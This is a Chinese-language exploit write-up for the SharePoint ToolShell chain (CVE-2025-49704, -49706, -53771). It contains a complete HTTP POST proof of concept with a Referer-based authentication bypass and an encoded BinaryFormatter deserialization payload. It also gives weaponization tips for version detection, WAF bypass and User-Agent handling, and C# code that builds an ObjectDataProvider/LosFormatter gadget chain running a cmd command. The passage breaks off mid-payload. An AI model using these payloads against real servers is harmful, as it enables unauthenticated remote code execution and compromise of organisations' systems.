https://www.alibabacloud.com/help/tc/ecs/use-cases/install-sharepoint-2016

WindowsServer 2016

sharepoint 16.0.10337.12109

0x01 漏洞复现

Poc

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: 192.168.0.104:44946
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Referer: /_layouts/SignOut.aspx
Content-Type: application/x-www-form-urlencoded
Content-Length: 7003

MSOTlPn_Uri=http%3a//192.168.0.104%3a44946/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22iabkxcni%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22obsajjosoict%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3ciabkxcni%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3cobsajjosoict%3aExcelDataSet%20CompressedDataTable%3d%22H4sIANvgkmgAA9Va23LjSHKdscMb9qzf/AMKPU%2b3AFLsGXWoO4IgWRDZIiSARIHAxkQsbi2QBEAO7%2bLv%2bAv9BfbJLPDSt%2bmZWe%2bsrQ5RbBaqMvPkyVNZAL/59ptvvvlv/NBf%2bvn3f8KLNXhertLiZTtchd9fyHSxHM/KN9cvNfr3/UVrna/Wi/RNma5XizD//uJxHeXj%2bF36PJxN0/JN9MMPYSNuvNJv6tep9uPNv9Di/3G2Jr8M0hXZ%2brdRkQ/iLC3CP%2bNde/z%2bvbkIi2%2b/pbE//TNe/utfb3fL10u%2b5GJX5OXyzeWlevN6h/fZajV/fXW13W5fbusvZ4unq5qm6Vej/r1a9nBtsUxg9c3lelFWqy1fFON4MVvO3q9exLPiNa57oa66vBgnby6X4/KpzMbZfD2P8mRTXr797uKCnEnztEjL1UUZFulnLrtQi7zuLqs431yuFuv0%2bLm7TFvrxQIr3M/iME%2brYVqdfsgC3Jnn6W74PE8PHx%2bHstk4Ti%2bKcfkQx%2bsFENCwcrg7/G9dRrN1maTJ5fnMw%2bwPXd8k78dRMs/2s1k0fz9efzLlK/58fNky/XmdlvEXr/m8F6uijMbrOFmX6%2bQIEkFH5t5cVsRpzfI8jVdg4vKlmZbpYhy/vB8vV3/V//KXc24N0sUGAC1fdstVuijD/GVnNw8JEG8Rzufp4q%2b14wQvjV663Zf3s6WYLYpwhQnfX5zGfg/3tfr7xvsf3ut60tDCevjT90db4zKZbZfKyYdogljo7eNithknZPdxkS4BSkghCtRAup0tpr/Dhboeva//2HgVJvVX12m98dNPx5g%2bAOh/obJ/%2bunyYsVJQlLD8pkSdvkhNa%2b%2byJerrxCGL/gF4vF4xaQPiuTqWCXHkvrMUh9OV96wLLz97k8kPv8pbhOo0dPitfoTFr9LSNQctcTX5hwMvdjoVSXefiwup0BvPy7ei8pdkq5hGOUnwVnMtg8LcIyloroqC5etLCyfUmRpXC7TxeoTxbg9L8yj4o6/LrkvsOAqRFpPOp38CqH%2blAS3H5Xuw/vzUv20iP4AJy8%2bz%2bejpx3FqC/Q/haektNpgjcIaPWsfVkrb/vpKpslFqTgbRvasBiH%2bXif3l6dff61yY8hKQnAWv6SJuPyqnr/CASx%2bOuDaiSvl6sFOH759mrbed62tGbTbjabj1f4%2bdFoHn%2b2LXodSKsR1508GmyfZCGf41q%2biSaadj9prvut6%2b19y2gn3k5LRr380Wvkych59r3tsisM3S92c19b5al0NmFNrh%2b9bt2qdXR/79b6w%2bneMt3tQ3sq2H7XNtx6vk9MubqfWpvI3OV%2b3ZlHtcb%2bfprkEWyHXn/t1m6ecc3UrUnNb4vI0w/%2bNYbJXW8eFfGya%2bp7H9dFZj6Gf14w6u1D72b9OLSVz5Pmstux9OjO0ePCvcHaOuZmUWv75N7JMeZNBjXZkObNIvCub/xJXPeHcmIN/d3DsK8Fw%2bb1A6YosGQ7qst10szaUU3f%2bsAhfkqONg031wJP3zeb/abxNLaaRzwbuH63DDxLo%2bvi58ZdAPziIp9w/CMjw/s94j%2btWzR3nr4apiMLa2prt%2b4Ak0aJGFdxzdrEhPf475UnTLGfmBPNJ3qZts/ed%2bjVQIzNZuv/eYwcyv2odu7fdbubH2PqBN4uD2pCC6RFsWTgyyt/xFztIt5pMOr2DOK00emcMPJNes2y7cZ/NrZRPcnj0pphrWW3pYuosDYBeG3XblaRJ9ZBy3hnu7257SbC9qy6XewMR%2bTGcCpasiO6rismgdbb2m6s2XJet73EcNqGMXCFEbrCtF3hJFpvZLtS2NJy7GlgOPXECDqiFU6F8DXx6LpdHes7thR1e2oZzjAzpC5aXkd0HFeMYf9n23UsjJd2cWM4xcoYeklLTkUn1MTQdXt723U12204djE3nI5uSIzHmriDHzLROjvYl7bMHTvPDEfmhl8kLfh31%2b%2bw/Zqy36vbJezXbgxvlLQsVwisH8L/e9sNHKxv2FPYd3XDx/p9rJ9oQsJ%2bB%2bv3EB/8y%2bFfYrg0PhV3Q/gPfAZYf2LLwLBLh%2b1T/D7wCTThBloX/gcLjNd5feAjXcZXRJrwEP8S46UtndIeAV9gIMvEgO2u5Ph6uAZjngC%2bc/ZP5sKIgS/yQ/7VeFzmdXsE/4aOEUjg32H7Dn7r8B/2LcS3An7S8OB/AvueKyzYR%2byBxfFNAmVfE62BJjrAd4T4Ap5/sO9ZRgD/I4X/GPYXsI/8Jwp/XRg%2b%2bAPfTOAzxPydmi/V/JplSCkoPsrvAPOHsB9w/okfU/CP8Dnlf8f4uTrmN4CvMEC3ltXh/GWB1tkyP4hfpQF8EF%2bZtAbAB%2bs4Cn/KP%2bG/MgbgjyeZfwL8oPxj7Rhr3Dh2qfB3wQ9bEyb4OYJ9n%2bd7KLcc%2bHZyjh/5N2HfSzj/8TXwq9t5D%2bPwr36yj/nrI/7lnPND60fgDzhM%2bCj7sgf8JfBdGS7wHwIf5J/iF8DX4PrLA%2bY/4WthPjAeqPrLEB%2buIX57NzzuK/7nNtcP44f5FuIXlH8jdUUH86dYf3Dk3yH/wCHtiDvEF8C/HuLf256D/ErO/1Dn/Jv4pfpHfAnx27FHc1X/4BfmUv17wB/Yyjrjh9pm/mN%2bDH3xVf2NVPyBil/Tuf6BTRf8DBR/EBt4b091rl/Kf9/l/ME%2b5T%2bbcPxT1J%2bbGy7ih30T6yN%2b4j/lP1H8r%2bqP9Ecq/Vmo%2bKWyDx8RP9V/d6jwv%2bP6J/7liG9vcP7BX8o/6ofiS%2brID8YT5m9gJlR/VD8UP/HXUPybGwMT/BeC8Of5WD/D/A3mK/0YGga433I05gf0oyfZvicM5j/45%2baMn4iVfrz6Jf6f%2bEf62%2bP687B%2bVf85xrEHyAnHV%2bZcv8z/U/31jvpL%2bNfVfNJf4h/8Q/06kvVnivoHR3xln/QT/pM%2bJ9aBf4Q/6Y9U%2bCP3FH8w4f1jIoCfpPwb0GfSP9IfjfH1UB/EH9LfWsL6U/Ef/M6gH3nJ8QtpSOAPHyn/hF%2bN9zfCfyhU/kfMfxPxPyA%2b0tce868UKv7yA/5tlX6hfnOD80f6NFT6Q/xvKf2n/c/5jP6IhtJ/4l%2blfzW2T/hDvxh/h/ldIL9arvgHfMBdF/g8H/WH4pfAR57wh/2Nij8p2T7W9zHuagf%2bEf8Doexb7D/hDx2g/JD98Mh/0j/YJ/ypvlyOn/xHfj3sEwXyW1i8fxL/EhV/m/dP5r/afwgf2v98VR/EfzWf6gP1U9k3q/gXzD%2bKb9Jj%2b/Cf7WOdQOkv2Ucclf0h%2bJ9gfbX/dIkfJcdP%2boP6CYTaPzBfBozPh/u/C/3B3IP%2beNx/sP3gmH/sgdT/uEo/5UbhL471H1f1nzD/M4P5R/svapvsQ4NIf8dV/JuD/QHxs8b7O%2bnnJFH4T7j%2byT646Y8Y/wP/9r%2bgP1S/4IeD%2bbQ/Ab999tX6r%2bIn%2b5nqv0i/heI/9J/6h7P67yh8oWHUH6L%2bUF8H/7H/Eb8yyfVD8eecvxZsV/rVJf72FH8E7z/M/ynnn/z/PP86XP%2bkb8i/DJD/kvOPOqT9ra/899yP9Rf8o3HvlP8623f10gY3jvZP9Wep/Y3yr%2brfR39F%2blP1Py7HT/sf64/qf%2bD/Gf8pflxD/Mf%2bRfij/6T6o/39WuW/6v/IPsaxf6P5EYi91%2bf6of770H8q/O/8I/7UX8/rh/6P9j/0D6ZU/Rft/5uj/por5h/6b65/V/EvYP3l/kewflP90XzFP9I/zKf4KX857z/dU/0Fav%2bh%2bA/4T7n/yxLtHH%2bH%2byvyP1L1S/43qv6jpP6d%2bV8c%2b0/i/0zxX6r%2b/7P6m1ncfxa6ih/8PeyfGP9Z4Y/5vP/k3L8j/jtL1d/%2bvP4HON%2bQ/qB/pvoeV/23xfjT/qHnvP%2bhfjj/uKbB%2bxf3PxbHT/7H7rH/36v%2bA/VL9qn/MdX5I1T1TfgEqv4QP/Zv9D/EP5pf9V/An/rPicH8ofiBP%2bl/hT/pD/YfOn8o/Kn%2b7iTnV1yf9L/af9E/uqq/shS/Plv/vL/A/w73H55TV/qr%2bi/0n13q/2A/qPQH%2biLUfGjcgyvaA9VD4vxkORw/9IHyT%2bcf7A%2bEf1DVJ/ZPwl%2bq81m1f8F/rNsBvojNzdX%2bZeJ81lHnB6zvAr8u808i/%2bPq/IJx1JF46GCLcnsP6E%2buuX89G8cZ9rA/D9U4etCzcer/Je/PVN9S8ec0Tv1vB/wD9tx/YZzyL1ifqf4wl%2bbTuKXqk84/BuMv1fnZTFT%2b61X8JfX/A2DnVfEnnB%2bhH8/f0L8BtHUA/YP/BvTtnepPE9VflWp/8nLub0k/8gpfyfNP5/MWOELnL9LXV%2bp8gPpEf2nv1fkjUfUxRfzgf4b6xlih8B/WmH/Ef9IHTZ1/cb6m84uO/qNgfab1pzbXdxUf%2bhcb2jqg/hv8dlR9Y30n4PM16QPi92vJgR/YfwX8px4e50%2bcfY7xwT/kN1T1Wd0/oPjhP/ErUvNhH/uCa2N%2bDv/BX/SotH%2blqr5DxA//%2b9ph/yJ8Md9IVP7GSj/o/Eb9t8Hrk37jmg7wfwy4P6D%2bBvENK/wwHqn7I1LpH%2bEHfhK/UR84Oxuh6s/I/ml92j9J3zy%2b/3DwD/mx6AyNHnBl2LrSZ4pvqPCv8j9X5xvs73R/A/jfKf/JPurHQ3yUf8RP%2bGG8rc5H1P/Gmsrv7oCfgb6OxsFt0l/wg/Qd88/sd6v8Vvd/cqVPtRX390m1f6r7M/CP8B853J9SfknfkD%2b6f9Sq9LPCl/0n%2bwf%2b1Lh/sv07vo9Vs1ZB0xb09jfeD%2bN7ha0OrjdlibHcqOl5YmaboN28izyphebNtG/32829cbz355hyifNqlphyGIx6c9/bzdNC8L3EgXmzDEz5/E47rel4DS0up5vjfeS8lwfF4T7y9XroyZVfyOeB1ygi/Yu%2b/q3ze%2bom6bTHMdsz%2btPhz9p/c2ycB%2bPOacSm2/VH1j7w9HF0NzUTUzwHNal1SieLiyRPBF0jjbhu5ZHXW6Z2Q/NHvTIYOW46MvJhIVaBPV/h/7Oo5jz4np63vU/sGU27i99Ouy9%2bU74XZ/GJqHSeU9u/J9%2bXzd4Jg1Ku/Vpz/4%2b833sv/m/Ydsw8C2qNDTCe%2b/X%2b2r3rbfya3MfP26cjH/%2bezzKetsSs%2b2hkTaJ6bxl6XcQS0D1q4v6NpWzB5vbJrstlciefg6G%2bDkZSiwuxhG924tE86z4Y5W5UW%2bXRRB9b%2bySzvL5uTTqN/t7J%2b%2b2nRuvJt/6gZ0tmm%2b69G/Ov47z1H7m2pEV1orWcpqpbuo/fujlxpJAFamSSmPB13LCo/pCTXlQEG7dGz6jEMhzNMx6fZpvIdPL4Kea1VM3tTjXpNrLIc3t2bZfhM67BlrTm8C9jfO35MPSSNWqLcvvcmuo0L49zrn/bQdysHRpqvy5XAdXstkP1ajSb/W779ByGa97TcSDasjZZSpuu6Y/Jgt5u/AouGkPSmaSVfa5mPvnsne1LWvrxbK8APmVU3IDP%2bSR%2bbthxcTMJoGNdoXB/Jz7zPO/Tz%2bZKY2dGSz1/UnHw%2b%2bT4LKllc7AmP3hp6p/4Z2Q8bwE91/r77hM9e4lJRwe/Or6QFuif4utFpb3vj42jD781nrMHRqZJ7t%2bJo92Df%2bHI2kT/8Odk0z5z6Kn667DPPZWD2f3tVfV4%2bxeel1/9%2bgfmt%2bqbB93q8ffZA%2b3zrydcvr29%2bvDCL3wn4OrXfCng9uo3fhfio%2b9yXJ1/mePsWyRXH3%2bNpPriydWn3zy5vfroCzFvv/vz/wAhdP%2bjQSgAAA%3d%3d%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/iabkxcni%3aUpdateProgress%3e%0a

image.png

漏洞分析

根据卡巴斯基和Viettel Cyber Security的漏洞分析报告来看一下漏洞原理

https://blog.viettelcybersecurity.com/sharepoint-toolshell/

https://securelist.com/toolshell-explained/117045

这里我们先来分析一下反序列化漏洞,

CVE-2025-49704

根据分析文章来看,漏洞产生点

Microsoft.PerformancePoint.Scorecards#Helper

// Token: 0x06000CEF RID: 3311 RVA: 0x00029058 File Offset: 0x00027258
        public static object GetObjectFromCompressedBase64String(string base64String)
        {
            if (base64String == null || base64String.Length == 0)
            {
                return null;
            }
            object result = null;
            byte[] buffer = Convert.FromBase64String(base64String);
            using (MemoryStream memoryStream = new MemoryStream(buffer))
            {
                memoryStream.Position = 0L;
                GZipStream serializationStream = new GZipStream(memoryStream, CompressionMode.Decompress);
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                result = binaryFormatter.Deserialize(serializationStream);
            }
            return result;
        }

利用dnspy分析,可以看到在ExcelDataSet中进行了调用。

image.png

这里我们可以看到BinaryFormatter.Deserialize实际上是反序列化一串XML的内容。

image.png

这串XML内容,就是利用到了恶意的ExpandedWrapper方法来调用任意的方法,这里就调用到了LosFormatter#Deserialze方法,

还有一个疑问,BinaryFormatter是用来处理二进制数据的,为什么BinaryFormatter.Deserialize可以反序列化XML数据呢?

这涉及到了另一个漏洞CVE-2020-1147,在MSRC中明确指出了DataSetDataTable

image.png

这里我写了一个Demo便于理解

using System;
using System.Collections.Generic;
using System.Data;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Windows.Data;           
class Program
{
    static void Main()
    {
        var person = new Person();
        var odp = new ObjectDataProvider
        {
            ObjectInstance = person,
            MethodName = "say",
        };
        odp.MethodParameters.Add("hello");

        var wrapperType = typeof(ExpandedWrapper<,>).MakeGenericType(typeof(Person), typeof(ObjectDataProvider));
        dynamic wrapper = Activator.CreateInstance(wrapperType);
        wrapper.ExpandedElement = person;
        wrapper.ProjectedProperty0 = odp;

        var listType = typeof(List<>).MakeGenericType(wrapperType);
        dynamic list = Activator.CreateInstance(listType);
        list.Add(wrapper);

        DataTable dt = new DataTable("hehe");
        dt.Columns.Add("pwn", listType);
        dt.Rows.Add(list);
        DataSet ds = new DataSet("somedataset");
        ds.Tables.Add(dt);

        BinaryFormatter bf = new BinaryFormatter();
        using (FileStream fs = new FileStream("payload.bin", FileMode.Create))
        {
            bf.Serialize(fs, ds);
        }

        BinaryFormatter bf1 = new BinaryFormatter();
        using (FileStream fs = new FileStream("payload.bin", FileMode.Open))
        {
            bf1.Deserialize(fs);
        }

    }

}

image.png

当遇到DataSet的时候,会重写BinaryFormatter.Serialize正常序列化的流程,导入写入了XML内容,同样反序列化也如此。

上面XML的内容就是利用了ObjectDataProvider去调用了LosFormatter#Deserialize方法

继续来看一下是如何调用到这个ExcelSet组件的。

来看一下ToolPane.aspx文件

<%@ Assembly Name="Microsoft.SharePoint.ApplicationPages" %> <%@ Page Language="C#" Inherits="Microsoft.SharePoint.ApplicationPages.ToolpanePage"       %> <%@ Import Namespace="Microsoft.SharePoint.ApplicationPages" %> <%@ Register Tagprefix="SharePoint" Namespace="Microsoft.SharePoint.WebControls" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register Tagprefix="Utilities" Namespace="Microsoft.SharePoint.Utilities" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Import Namespace="Microsoft.SharePoint" %> <%@ Assembly Name="Microsoft.Web.CommandUI, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <% SPSite spServer = SPControl.GetContextSite(Context); SPWeb spWeb = SPControl.GetContextWeb(Context); %>
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<html dir="<SharePoint:EncodedLiteral runat='server' text='<%$Resources:wss,multipages_direction_dir_value%>' EncodeMethod='HtmlEncode'/>">
<head>
    <meta name="GENERATOR" content="Microsoft SharePoint"/>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <meta http-equiv="Expires" content="0"/>

    <title id="onetidTitle"><SharePoint:EncodedLiteral runat="server" text="<%$Resources:wss,pagetitle_sharepoint%>" EncodeMethod='HtmlEncode'/></title>
    <SharePoint:CssLink runat="server"/>
<SharePoint:CustomJSUrl runat="server" />
<link type="text/xml" rel='alternate' href="_vti_bin/spdisco.aspx" />
</head>
    <SharePoint:ScriptLink name="core.js" localizable="false" Defer="true" runat="server" />
    <body oncontextmenu = "return false;" onclick = "if(event.shiftKey) {event.returnValue = false; event.cancelBubble = true;}">
    <form runat="server">
            <asp:ScriptManager id="ScriptManager" runat="server" EnablePageMethods="false" EnablePartialRendering="true" EnableScriptGlobalization="false" EnableScriptLocalization="true" />
        <WebPartPages:SPWebPartManager ID="SPWebPartManager" runat="server"/>
        <WebPartPages:WebPartZone runat="server" ID="ImportedPartZone" />
        <WebPartPages:ToolPane runat="server"/>
        <SharePoint:FormDigest runat="server"/>
    </form>
    </body>
</html>

其中主要的操作在Microsoft.SharePoint.WebPartPages类中

SelectedAspWebPart

image.png
这里会进入到GetPartPreviewAndPropertiesFromMarkup方法中

但是这里是有条件进入的,

if (this.InCustomToolPane && this.SPWebPartManager.DisplayMode == WebPartManager.EditDisplayMode)
                    {

要求InCustomToolPaneDisplayModeEdit,所以我们需要传入DisplayMode=Edit来进行设置,

InCustomToolPane需要通过Utility.CheckForCustomToolpane的检查

image.png

        public static bool CheckForCustomToolpane(string pagePath)
        {
            bool result = false;
            if (pagePath != null)
            {
                result = (pagePath.IndexOf("/_layouts/", StringComparison.OrdinalIgnoreCase) != -1 && pagePath.EndsWith("/ToolPane.aspx", StringComparison.OrdinalIgnoreCase));
            }
            return result;
        }

要求pagePath中必须有/_layouts/,以/ToolPane.aspx结尾。

所以如果我们想要进入GetPartPreviewAndPropertiesFromMarkup函数,路径必须是/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx

在这个GetPartPreviewAndPropertiesFromMarkup函数中,

这里获取到一个documentDesigner

                documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, webApplication);

需要指定一个SharePoint的页面,继续看一下这个SharePoint的页面有什么要求

image.png

这里要求必须是_controltemplates/开头,.ascx结尾。

所以构造MSOTlPn_Uri=http://sharepoint/_controltemplates/15/AclEditor.ascx

接下来就会获取到MSOTlPn_DWP参数来继续构造组件。

会先实例化一个ServerElementMarkupSource

ServerElementMarkupSource serverElementMarkupSource = new ServerElementMarkupSource(text);

这部分相当于对我们传入的控件字符串进行一个解析处理。

image.png

接着会调用PageParser#CreateAndInitializeDocumentDesigner函数

documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, webApplication);

这里会初始化一个IServerDocumentDesigner对象,相当于一个ASP.NET的页面解析沙箱。

最后会进入到documentDesigner.CreateNestedElementDesigner函数中进行解析

IServerElementDesigner serverElementDesigner = documentDesigner.CreateNestedElementDesigner(serverElementMarkupSource, parentElement, 0, true);

其中会进入到一个ParseControlsInternalHelper函数中,在这个函数中会进行一个BuildObject的操作,从而触发到DataTable的构造函数其中的GetObjectFromCompressedBase64String函数

image.png

这部分的插件调用其实可以参考微软的官方文档

https://learn.microsoft.com/zh-cn/previous-versions/office/developer/sharepoint-2010/hh228018(v=office.14)

CVE-2025-49706

根据文章来看,发现漏洞的点在PostAuthenticateRequestHandler方法中

关键代码如下

if (!context.User.Identity.IsAuthenticated)
                {
                    if (flag5)
                    {
                        if (this.RequestPathIndex == SPRequestModule.PathIndex._layouts)
                        {
                            Uri uri2 = null;
                            try
                            {
                                uri2 = context.Request.UrlReferrer;
                            }
                            catch (UriFormatException)
                            {
                            }
                            if (uri2 != null)
                            {
                                string absolutePath = uri2.AbsolutePath;
                                if (SPRequestModule.s_LoginUrl == null)
                                {
                                    ULS.SendTraceTag(2470943U, ULSCat.msoulscat_WSS_Runtime, ULSTraceLevel.Unexpected, "LoginUrl is unset for request to '{0}'.", new object[]
                                    {
                                        SPAlternateUrl.ContextUri
                                    });
                                }
                                else if (absolutePath.EndsWith(SPRequestModule.s_LoginUrl, StringComparison.OrdinalIgnoreCase) && (text3.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || text3.EndsWith(".js", StringComparison.OrdinalIgnoreCase)))
                                {
                                    context.SkipAuthorization = true;
                                }
                            }
                        }
                    }
                    else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous)
                    {
                        if (flag3)
                        {
                            ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[]
                            {
                                SPAlternateUrl.ContextUri
                            });
                        }
                        SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
                    }
                    else if (flag6)
                    {
                        HttpCookie httpCookie = context.Request.Cookies[SPSecurity.CookieWssKeepSessionAuthenticated];
                        HttpCookie httpCookie2 = context.Request.Cookies[SPSecurity.CookieWssKeepAuthenticated];
                        if ((httpCookie != null && SPUtility.StsCompareStrings(httpCookie.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue)) || (httpCookie2 != null && SPUtility.StsCompareStrings(httpCookie2.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue) && !flag2))
                        {
                            SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
                        }
                    }
                }

其重点就是flag7flag7是是否允许设置匿名访问,我们这里默认为false,所以会直接返回401

else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous)
                    {
                        if (flag3)
                        {
                            ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[]
                            {
                                SPAlternateUrl.ContextUri
                            });
                        }
                        SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
                    }

但是我们可以看一下前面

bool flag7 = false;
                string text3 = context.Request.FilePath.ToLowerInvariant();
                if (flag6)
                {
                    Uri uri = null;
                    try
                    {
                        uri = context.Request.UrlReferrer;
                    }
                    catch (UriFormatException)
                    {
                    }
                    if (this.IsShareByLinkPage(context) || this.IsAnonymousVtiBinPage(context) || this.IsAnonymousDynamicRequest(context) || context.Request.Path.StartsWith(this.signoutPathRoot) || context.Request.Path.StartsWith(this.signoutPathPrevious) || context.Request.Path.StartsWith(this.signoutPathCurrent) || context.Request.Path.StartsWith(this.startPathRoot) || context.Request.Path.StartsWith(this.startPathPrevious) || context.Request.Path.StartsWith(this.startPathCurrent) || (uri != null && (SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathRoot) || SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathPrevious) || SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathCurrent))))
                    {
                        flag6 = false;
                        flag7 = true;
                    }
                }

其中如果referer

  • /_layouts/SignOut.aspx
  • /_layouts/14/SignOut.aspx
  • /_layouts/15/SignOut.aspx

image.png

则可以将flag7设置为true,从而允许匿名访问,不会立即发送401

我们的目标是访问toolpane.aspx,这并不会通过每个页面的检查,

SharePoint中使用的网页有一些基本类型,其中toolpane.aspx使用的是WebPartPage它将会在生命周期的某个时间内进行身份验证。

FormOnLoad事件中进行了身份检查,所以仍然会返回401

image.png

会进入到contextWeb.Request.RenderFormDigest(bstrUrl, spstringCallback);

image.png

那我们是怎么进入到GetPartPreviewAndPropertiesFromMarkup中的呢?

如果想要绕过OnLoad事件之前的鉴权,就需要在这个事件触发之前进入到GetPartPreviewAndPropertiesFromMarkup函数。

这里就涉及到了ASP.NET的生命周期

https://learn.microsoft.com/en-us/previous-versions/aspnet/ms178472(v=vs.100)#life-cycle-events

OnLoad事件之前,InitComplete事件之后,会自动触发GetPartPreviewAndPropertiesFromMarkup函数。

CVE-2025-53771

正是上面漏洞的一个绕过,正如卡巴斯基团队所分析的那样,使用ToolPane.aspx/就可以进行绕过

image.png

0x02 对武器化一些思考

第一点,部分武器化的利用代码,是检测了/_layouts/15/error.aspx来检测版本从而决定是否利用EXP,但是这并不对,因为我们在未开启匿名访问的时候,访问/_layouts/15/error.aspx401状态,

image.png

那我们应该检测什么呢?在看msf中的pr时,我发现有人提起start.aspx,碰巧在上面设置referer头的时候也看到了这个,

image.png

在这里,我们可以看到当访问start.aspx的时候,也会实现和referer头一样的效果。

image.png

或者我们在检测error.aspx的时候,加上referer头设置匿名访问。

image.png

第二点,在反序列化的利用过程中,我在测试的时候发现了另外一种反序列化的利用方式,当我们开启两种登录模式的时候,

image.png

此时我们访问页面就变成了这样的(这里仍然是未开启匿名访问),

image.png

我们不添加referer头仍然可以攻击成功。

image.png

那这里有什么用呢?或许对某些绕waf有一点作用。

第三点,可能是因为我安装的sharepoint版本高一些,服务器对User—Agent进行了严格的检测,如果不添加是没有办法攻击成功的。

image.png

0x03 POC的构造

我们先来看一下上面能打通的POC

<%@ Register Tagprefix="iabkxcni" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="obsajjosoict" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
  <iabkxcni:UpdateProgress>
    <ProgressTemplate>
      <obsajjosoict:ExcelDataSet CompressedDataTable="...." DataTable-CaseSensitive="true" runat="server"/>
    </ProgressTemplate>
  </iabkxcni:UpdateProgress>

其重点就是需要去构造CompressedDataTable数据,通过上面的分析可以知道CompressedDataTable的数据是BinaryFormatter反序列化的数据。

所以这里我们直接构造

using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Services.Internal;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization.Formatters.Binary;
using System.Web.UI;
using System.Windows.Data;

namespace SharePointPoc
{
    internal class Program
    {
        static void Main(string[] args)
        {
            var losFormatter = new LosFormatter();
            var odp = new ObjectDataProvider
            {
                ObjectInstance = losFormatter,
                MethodName = "Deserialize",
            };
            odp.MethodParameters.Add("/wEywhEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACS9jIHdpbnZlcgYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDA